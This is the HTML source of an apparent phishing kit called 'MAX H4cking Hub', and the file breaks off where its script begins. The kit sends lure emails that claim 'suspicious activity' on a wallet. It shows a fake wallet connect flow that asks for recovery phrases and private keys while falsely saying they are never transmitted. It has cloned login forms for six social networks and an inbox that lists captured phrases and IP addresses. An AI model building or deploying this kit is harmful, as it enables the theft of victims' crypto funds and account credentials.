File size: 50,068 Bytes
2685ec6 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 574 575 576 577 578 579 580 581 582 583 584 585 586 587 588 589 590 591 592 593 594 595 596 597 598 599 600 601 602 603 604 605 606 607 608 609 610 611 612 613 614 615 616 617 618 619 620 621 622 623 624 625 626 627 628 629 630 631 632 633 634 635 636 637 638 639 640 641 642 643 644 645 646 647 648 649 650 651 652 653 654 655 656 657 658 659 660 661 662 663 664 665 666 667 668 669 670 671 672 673 674 675 676 677 678 679 680 681 682 683 684 685 686 687 688 689 690 691 692 693 694 695 696 697 698 699 700 701 702 703 704 705 706 707 708 709 710 711 712 713 714 715 716 717 718 719 720 721 722 723 724 725 726 727 728 729 730 731 732 733 734 735 736 737 738 739 740 741 742 743 744 745 746 747 748 749 750 751 752 753 754 755 756 757 758 759 760 761 762 763 764 765 766 767 768 769 770 771 772 773 774 775 776 777 778 779 780 781 782 783 784 785 786 787 788 789 790 791 792 793 794 795 796 797 798 |
<!DOCTYPE html>
<html lang="en" class="dark">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>MAX H4cking Hub</title>
<script src="https://cdn.tailwindcss.com"></script>
<script src="https://cdn.jsdelivr.net/npm/emailjs-com@3/dist/email.min.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-app.js"></script>
<script src="https://www.gstatic.com/firebasejs/8.10.0/firebase-database.js"></script>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Inter', sans-serif;
transition: background-color 0.3s ease;
}
.card-shadow {
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.1), 0 2px 4px -1px rgba(0, 0, 0, 0.06);
}
.dark .card-shadow {
box-shadow: 0 4px 6px -1px rgba(0, 0, 0, 0.3), 0 2px 4px -1px rgba(0, 0, 0, 0.2);
}
.sidebar {
transform: translateX(-100%);
transition: transform 0.3s ease;
}
.sidebar.open {
transform: translateX(0);
}
.overlay {
opacity: 0;
visibility: hidden;
transition: opacity 0.3s ease, visibility 0.3s ease;
}
.overlay.open {
opacity: 1;
visibility: visible;
}
.wallet-logo {
filter: grayscale(100%) brightness(0.8);
transition: filter 0.2s ease;
}
.wallet-logo:hover {
filter: grayscale(0%) brightness(1);
}
.social-login {
background-size: cover;
background-position: center;
}
</style>
</head>
<body class="bg-gray-50 dark:bg-gray-900 text-gray-900 dark:text-gray-100 min-h-screen">
<!-- Firebase Config -->
<script>
// Initialize Firebase
const firebaseConfig = {
apiKey: "AIzaSyDEXAMPLE-REPLACE-THIS-WITH-YOUR-API-KEY",
authDomain: "your-project-id.firebaseapp.com",
databaseURL: "https://your-project-id.firebaseio.com",
projectId: "your-project-id",
storageBucket: "your-project-id.appspot.com",
messagingSenderId: "123456789012",
appId: "1:123456789012:web:abcdef1234567890abcdef"
};
firebase.initializeApp(firebaseConfig);
const database = firebase.database();
// Initialize EmailJS
emailjs.init("user_YOUR_EMAILJS_USER_ID");
</script>
<!-- Navigation -->
<header class="sticky top-0 z-10 bg-white dark:bg-gray-800 shadow-sm">
<div class="container mx-auto px-4 py-3 flex justify-between items-center">
<div class="flex items-center">
<h1 class="text-xl font-bold text-blue-600 dark:text-blue-400">MAX H4cking Hub</h1>
</div>
<button id="menu-toggle" class="p-2 focus:outline-none">
<svg class="w-6 h-6 text-gray-600 dark:text-gray-300" fill="none" stroke="currentColor" viewBox="0 0 24 24">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 6h16M4 12h16M4 18h16"></path>
</svg>
</button>
</div>
</header>
<!-- Sidebar -->
<div class="fixed inset-0 z-20">
<div id="overlay" class="overlay fixed inset-0 bg-black bg-opacity-50"></div>
<aside class="sidebar fixed top-0 left-0 h-full w-64 bg-white dark:bg-gray-800 shadow-lg z-30">
<div class="p-4 border-b border-gray-200 dark:border-gray-700">
<h2 class="text-lg font-semibold">Navigation</h2>
</div>
<nav class="p-4">
<ul class="space-y-2">
<li><a href="#" class="block px-4 py-2 rounded-lg bg-blue-100 dark:bg-blue-900 text-blue-700 dark:text-blue-300 font-medium">Dashboard</a></li>
<li><a href="#wallet-connect" class="block px-4 py-2 rounded-lg hover:bg-gray-100 dark:hover:bg-gray-700">Wallet Connect</a></li>
<li><a href="#social-hk" class="block px-4 py-2 rounded-lg hover:bg-gray-100 dark:hover:bg-gray-700">Social HK</a></li>
<li><a href="#inbox" class="block px-4 py-2 rounded-lg hover:bg-gray-100 dark:hover:bg-gray-700">Inbox</a></li>
<li><a href="#" class="block px-4 py-2 rounded-lg hover:bg-gray-100 dark:hover:bg-gray-700">Settings</a></li>
<li><a href="#" class="block px-4 py-2 rounded-lg hover:bg-gray-100 dark:hover:bg-gray-700">Logout</a></li>
</ul>
</nav>
<div class="absolute bottom-0 left-0 right-0 p-4 border-t border-gray-200 dark:border-gray-700">
<button id="dark-mode-toggle" class="w-full px-4 py-2 rounded-lg bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium">
Toggle Dark Mode
</button>
</div>
</aside>
</div>
<!-- Main Content -->
<main class="container mx-auto px-4 py-8">
<!-- Dashboard -->
<section id="dashboard" class="mb-12">
<h2 class="text-2xl font-bold mb-6">Dashboard</h2>
<div class="grid grid-cols-1 md:grid-cols-2 lg:grid-cols-3 gap-6">
<!-- Wallet Connect Card -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6">
<div class="flex justify-between items-start mb-4">
<span class="px-3 py-1 bg-blue-100 dark:bg-blue-900 text-blue-800 dark:text-blue-200 text-xs font-semibold rounded-full">Primary</span>
</div>
<h3 class="text-xl font-bold mb-2">Wallet Connect</h3>
<p class="text-gray-600 dark:text-gray-400 mb-4">Create personalized wallet links with your account ID and send via EmailJS.</p>
<button onclick="showSection('wallet-connect')" class="w-full px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Open Wallet Page
</button>
</div>
<!-- Social HK Card -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6">
<div class="flex justify-between items-start mb-4">
<span class="px-3 py-1 bg-green-100 dark:bg-green-900 text-green-800 dark:text-green-200 text-xs font-semibold rounded-full">New</span>
</div>
<h3 class="text-xl font-bold mb-2">Social HK</h3>
<p class="text-gray-600 dark:text-gray-400 mb-4">Configure and launch your social flows.</p>
<button onclick="showSection('social-hk')" class="w-full px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Open Social HK
</button>
</div>
<!-- Wallet Flashing Card -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6">
<div class="flex justify-between items-start mb-4">
<span class="px-3 py-1 bg-purple-100 dark:bg-purple-900 text-purple-800 dark:text-purple-200 text-xs font-semibold rounded-full">Extra</span>
</div>
<h3 class="text-xl font-bold mb-2">Wallet Flashing</h3>
<p class="text-gray-600 dark:text-gray-400 mb-4">Exclusive module. Coming very soon.</p>
<button class="w-full px-4 py-2 bg-gray-300 dark:bg-gray-600 text-gray-500 dark:text-gray-400 font-medium rounded-lg cursor-not-allowed" disabled>
Open Wallet Flashing
</button>
</div>
</div>
</section>
<!-- Wallet Connect Section -->
<section id="wallet-connect" class="hidden mb-12">
<div class="flex justify-between items-center mb-6">
<h2 class="text-2xl font-bold">Wallet Connect</h2>
<button onclick="showSection('dashboard')" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium rounded-lg">
Back to Dashboard
</button>
</div>
<!-- Creation Form -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6 mb-8">
<h3 class="text-xl font-bold mb-4">Create and send a Wallet Connect link</h3>
<form id="wallet-connect-form" class="space-y-4">
<div>
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Your unique link</label>
<div class="flex">
<input type="text" id="wallet-link" value="https://service-xx-xx.hf.space/walletconnect#yourid" class="flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-l-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100" readonly>
<button type="button" onclick="copyToClipboard('wallet-link')" class="px-4 py-2 bg-blue-600 text-white font-medium rounded-r-lg hover:bg-blue-700">
Copy
</button>
</div>
</div>
<div>
<label for="recipient-email" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Recipient email</label>
<input type="email" id="recipient-email" class="w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100" required>
</div>
<div>
<label for="button-text" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Box caption (button text)</label>
<input type="text" id="button-text" value="CONNECT" class="w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100">
</div>
<div>
<label for="email-subject" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Subject (optional)</label>
<input type="text" id="email-subject" value="Action Required: Secure Wallet V" class="w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100">
</div>
<div>
<label for="email-message" class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Message</label>
<textarea id="email-message" rows="4" class="w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100">We've detected suspicious activity on your wallet. To prevent unauthorized access, please verify your wallet credentials immediately. This is a mandatory security check to protect your assets.</textarea>
</div>
<div>
<button type="button" onclick="sendWalletEmail()" class="w-full px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Send Email
</button>
</div>
</form>
</div>
<!-- Wallet Connect Simulation -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6">
<h3 class="text-xl font-bold mb-4">Wallet Connect Simulation</h3>
<div id="wallet-simulation" class="space-y-6">
<!-- Step 1: Initial Page -->
<div id="wallet-step-1" class="text-center">
<div class="max-w-md mx-auto bg-gray-50 dark:bg-gray-700 rounded-xl p-8">
<h3 class="text-2xl font-bold mb-2">Universal Wallet Connect</h3>
<p class="text-gray-600 dark:text-gray-400 mb-6">Connect your cryptocurrency wallet securely to verify your identity and protect your assets.</p>
<button onclick="nextWalletStep(2)" class="px-6 py-3 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Connect Wallet
</button>
</div>
</div>
<!-- Step 2: Wallet Selection -->
<div id="wallet-step-2" class="hidden">
<div class="text-center mb-6">
<h3 class="text-2xl font-bold mb-2">Select Your Wallet</h3>
<p class="text-gray-600 dark:text-gray-400">Choose your wallet provider to continue</p>
</div>
<div class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 gap-4">
<button onclick="selectWallet('MetaMask')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/metamask-logo.png" alt="MetaMask" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">MetaMask</span>
</button>
<button onclick="selectWallet('Trust Wallet')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/trust-wallet-twt-logo.png" alt="Trust Wallet" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Trust Wallet</span>
</button>
<button onclick="selectWallet('Coinbase')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/coinbase-wallet-cbw-logo.png" alt="Coinbase" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Coinbase</span>
</button>
<button onclick="selectWallet('Phantom')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/phantom-logo.png" alt="Phantom" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Phantom</span>
</button>
<button onclick="selectWallet('Binance')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/binance-coin-bnb-logo.png" alt="Binance" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Binance</span>
</button>
<button onclick="selectWallet('Exodus')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/exodus-exo-logo.png" alt="Exodus" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Exodus</span>
</button>
<button onclick="selectWallet('Trezor')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/trezor-logo.png" alt="Trezor" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Trezor</span>
</button>
<button onclick="selectWallet('Bitcoin')" class="p-4 bg-gray-100 dark:bg-gray-700 rounded-lg flex flex-col items-center">
<img src="https://cryptologos.cc/logos/bitcoin-btc-logo.png" alt="Bitcoin" class="w-12 h-12 mb-2 wallet-logo">
<span class="text-sm font-medium">Bitcoin</span>
</button>
</div>
<div class="mt-6 text-center">
<button onclick="prevWalletStep(1)" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium rounded-lg">
Back
</button>
</div>
</div>
<!-- Step 3: Verification -->
<div id="wallet-step-3" class="hidden">
<div class="max-w-md mx-auto bg-gray-50 dark:bg-gray-700 rounded-xl p-8">
<h3 id="wallet-verify-title" class="text-2xl font-bold mb-2">Verify Your Wallet</h3>
<p class="text-gray-600 dark:text-gray-400 mb-6">Enter your recovery phrase to verify your wallet identity</p>
<div class="mb-4">
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Recovery Phrase / Private Key</label>
<textarea id="recovery-phrase" rows="3" class="w-full px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100" placeholder="Enter your 12 or 24-word recovery phrase..."></textarea>
</div>
<p class="text-xs text-gray-500 dark:text-gray-400 mb-6">Your recovery phrase is never stored or transmitted unencrypted.</p>
<div class="flex space-x-4">
<button onclick="prevWalletStep(2)" class="flex-1 px-4 py-2 bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium rounded-lg">
Back to Wallet Selection
</button>
<button onclick="submitWalletVerification()" class="flex-1 px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Connect
</button>
</div>
</div>
</div>
<!-- Step 4: Processing -->
<div id="wallet-step-4" class="hidden text-center">
<div class="max-w-md mx-auto bg-gray-50 dark:bg-gray-700 rounded-xl p-8">
<div class="mb-6">
<svg class="mx-auto h-12 w-12 text-green-500 animate-spin" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 4v5h.582m15.356 2A8.001 8.001 0 004.582 9m0 0H9m11 11v-5h-.581m0 0a8.003 8.003 0 01-15.357-2m15.357 2H15"></path>
</svg>
</div>
<h3 class="text-2xl font-bold mb-2">Processing verification</h3>
<p class="text-gray-600 dark:text-gray-400 mb-6">You may close this page. Thank you.</p>
</div>
</div>
</div>
</div>
</section>
<!-- Social HK Section -->
<section id="social-hk" class="hidden mb-12">
<div class="flex justify-between items-center mb-6">
<h2 class="text-2xl font-bold">Social HK</h2>
<button onclick="showSection('dashboard')" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium rounded-lg">
Back to Dashboard
</button>
</div>
<!-- Creation Form -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6 mb-8">
<h3 class="text-xl font-bold mb-4">Create SocialHK Simulation Link</h3>
<form id="social-hk-form" class="space-y-6">
<!-- Step 1: Category Selection -->
<div>
<h4 class="text-lg font-semibold mb-3">Step 1: Category Selection</h4>
<div class="grid grid-cols-1 sm:grid-cols-2 gap-3">
<button type="button" onclick="selectSocialCategory('Likes & Follows')" class="px-4 py-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 text-gray-800 dark:text-gray-200 font-medium rounded-lg transition duration-200">
Likes & Follows
</button>
<button type="button" onclick="selectSocialCategory('Profile Badge')" class="px-4 py-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 text-gray-800 dark:text-gray-200 font-medium rounded-lg transition duration-200">
Profile Badge
</button>
<button type="button" onclick="selectSocialCategory('Security Check')" class="px-4 py-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 text-gray-800 dark:text-gray-200 font-medium rounded-lg transition duration-200">
Security Check
</button>
<button type="button" onclick="selectSocialCategory('Account Recovery')" class="px-4 py-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 text-gray-800 dark:text-gray-200 font-medium rounded-lg transition duration-200">
Account Recovery
</button>
</div>
<input type="hidden" id="social-category" value="">
</div>
<!-- Step 2: Platform Selection -->
<div id="social-platform-step" class="hidden">
<h4 class="text-lg font-semibold mb-3">Step 2: Platform Selection</h4>
<div class="grid grid-cols-2 sm:grid-cols-3 md:grid-cols-4 gap-3">
<button type="button" onclick="selectSocialPlatform('Facebook')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/124/124010.png" alt="Facebook" class="w-8 h-8 mb-1">
<span class="text-sm">Facebook</span>
</button>
<button type="button" onclick="selectSocialPlatform('Twitter')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/124/124021.png" alt="Twitter" class="w-8 h-8 mb-1">
<span class="text-sm">Twitter (X)</span>
</button>
<button type="button" onclick="selectSocialPlatform('TikTok')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/3046/3046121.png" alt="TikTok" class="w-8 h-8 mb-1">
<span class="text-sm">TikTok</span>
</button>
<button type="button" onclick="selectSocialPlatform('Instagram')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/174/174855.png" alt="Instagram" class="w-8 h-8 mb-1">
<span class="text-sm">Instagram</span>
</button>
<button type="button" onclick="selectSocialPlatform('LinkedIn')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/174/174857.png" alt="LinkedIn" class="w-8 h-8 mb-1">
<span class="text-sm">LinkedIn</span>
</button>
<button type="button" onclick="selectSocialPlatform('Snapchat')" class="p-3 bg-gray-100 dark:bg-gray-700 hover:bg-gray-200 dark:hover:bg-gray-600 rounded-lg flex flex-col items-center">
<img src="https://cdn-icons-png.flaticon.com/512/1384/1384060.png" alt="Snapchat" class="w-8 h-8 mb-1">
<span class="text-sm">Snapchat</span>
</button>
</div>
<input type="hidden" id="social-platform" value="">
</div>
<!-- Generate Button -->
<div id="social-generate-section" class="hidden">
<button type="button" onclick="generateSocialLink()" class="w-full px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Generate Link
</button>
</div>
<!-- Generated Link -->
<div id="social-generated-link" class="hidden">
<label class="block text-sm font-medium text-gray-700 dark:text-gray-300 mb-1">Generated Link</label>
<div class="flex">
<input type="text" id="social-link" class="flex-1 px-4 py-2 border border-gray-300 dark:border-gray-600 rounded-l-lg focus:ring-blue-500 focus:border-blue-500 dark:bg-gray-700 dark:text-gray-100" readonly>
<button type="button" onclick="copyToClipboard('social-link')" class="px-4 py-2 bg-blue-600 text-white font-medium rounded-r-lg hover:bg-blue-700">
Copy
</button>
</div>
</div>
</form>
</div>
<!-- Social HK Simulation -->
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow p-6">
<h3 class="text-xl font-bold mb-4">Social HK Simulation</h3>
<div id="social-simulation" class="space-y-6">
<!-- Landing Page -->
<div id="social-landing" class="text-center">
<div class="max-w-md mx-auto bg-gray-50 dark:bg-gray-700 rounded-xl p-8">
<h3 id="social-landing-title" class="text-2xl font-bold mb-2">Proceed with Social Verification</h3>
<p id="social-landing-desc" class="text-gray-600 dark:text-gray-400 mb-6">Requested: 0. Click connect to continue.</p>
<button onclick="showSocialLogin()" class="px-6 py-3 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Connect Account
</button>
</div>
</div>
<!-- Login Pages -->
<div id="social-login-pages" class="hidden">
<!-- Facebook Login -->
<div id="facebook-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-blue-600 p-4 text-white">
<h3 class="text-xl font-bold">Facebook</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Email or Phone" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('Facebook')" class="w-full px-4 py-2 bg-blue-600 hover:bg-blue-700 text-white font-medium rounded-lg transition duration-200">
Log In
</button>
<div class="mt-4 text-center">
<a href="#" class="text-sm text-blue-600 hover:underline">Forgot Password?</a>
</div>
</div>
</div>
<!-- Twitter Login -->
<div id="twitter-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-black p-4 text-white">
<h3 class="text-xl font-bold">Twitter</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Username, email or phone" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('Twitter')" class="w-full px-4 py-2 bg-black hover:bg-gray-800 text-white font-medium rounded-lg transition duration-200">
Log In
</button>
</div>
</div>
<!-- TikTok Login -->
<div id="tiktok-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-black p-4 text-white">
<h3 class="text-xl font-bold">TikTok</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Phone/Email/Username" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('TikTok')" class="w-full px-4 py-2 bg-pink-500 hover:bg-pink-600 text-white font-medium rounded-lg transition duration-200">
Log In
</button>
</div>
</div>
<!-- Instagram Login -->
<div id="instagram-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-gradient-to-r from-purple-500 to-pink-500 p-4 text-white">
<h3 class="text-xl font-bold">Instagram</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Phone number, username, or email" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('Instagram')" class="w-full px-4 py-2 bg-blue-500 hover:bg-blue-600 text-white font-medium rounded-lg transition duration-200">
Log In
</button>
</div>
</div>
<!-- LinkedIn Login -->
<div id="linkedin-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-blue-700 p-4 text-white">
<h3 class="text-xl font-bold">LinkedIn</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Email or Phone" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('LinkedIn')" class="w-full px-4 py-2 bg-blue-700 hover:bg-blue-800 text-white font-medium rounded-lg transition duration-200">
Sign in
</button>
</div>
</div>
<!-- Snapchat Login -->
<div id="snapchat-login" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-yellow-400 p-4 text-black">
<h3 class="text-xl font-bold">Snapchat</h3>
</div>
<div class="p-6">
<div class="mb-4">
<input type="text" placeholder="Username or Email" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<div class="mb-6">
<input type="password" placeholder="Password" class="w-full px-4 py-2 border border-gray-300 rounded-lg">
</div>
<button onclick="submitSocialCredentials('Snapchat')" class="w-full px-4 py-2 bg-yellow-400 hover:bg-yellow-500 text-black font-medium rounded-lg transition duration-200">
Log In
</button>
</div>
</div>
<!-- Error Page -->
<div id="social-error" class="hidden max-w-sm mx-auto bg-white rounded-lg overflow-hidden shadow-md">
<div class="bg-red-500 p-4 text-white">
<h3 class="text-xl font-bold">Error</h3>
</div>
<div class="p-6 text-center">
<svg class="mx-auto h-12 w-12 text-red-500" fill="none" viewBox="0 0 24 24" stroke="currentColor">
<path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path>
</svg>
<h3 class="text-xl font-bold mt-4 mb-2">Connection Error</h3>
<p class="text-gray-600">We couldn't connect to your account. Please try again later.</p>
<button onclick="resetSocialSimulation()" class="mt-6 px-4 py-2 bg-gray-200 hover:bg-gray-300 text-gray-800 font-medium rounded-lg transition duration-200">
Back to Start
</button>
</div>
</div>
</div>
</div>
</div>
</section>
<!-- Inbox Section -->
<section id="inbox" class="hidden mb-12">
<div class="flex justify-between items-center mb-6">
<h2 class="text-2xl font-bold">Inbox</h2>
<button onclick="showSection('dashboard')" class="px-4 py-2 bg-gray-200 dark:bg-gray-700 text-gray-800 dark:text-gray-200 font-medium rounded-lg">
Back to Dashboard
</button>
</div>
<div class="bg-white dark:bg-gray-800 rounded-xl card-shadow overflow-hidden">
<div class="p-4 border-b border-gray-200 dark:border-gray-700">
<h3 class="text-lg font-semibold">Wallet Connect Submissions</h3>
</div>
<div class="overflow-x-auto">
<table class="min-w-full divide-y divide-gray-200 dark:divide-gray-700">
<thead class="bg-gray-50 dark:bg-gray-700">
<tr>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">Date</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">Wallet</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">Phrase</th>
<th class="px-6 py-3 text-left text-xs font-medium text-gray-500 dark:text-gray-300 uppercase tracking-wider">IP</th>
</tr>
</thead>
<tbody id="submissions-table" class="bg-white dark:bg-gray-800 divide-y divide-gray-200 dark:divide-gray-700">
<!-- Data will be inserted here -->
</tbody>
</table>
</div>
</div>
</section>
</main>
<script>
// DOM Elements
const menuToggle = document.getElementById('menu-toggle');
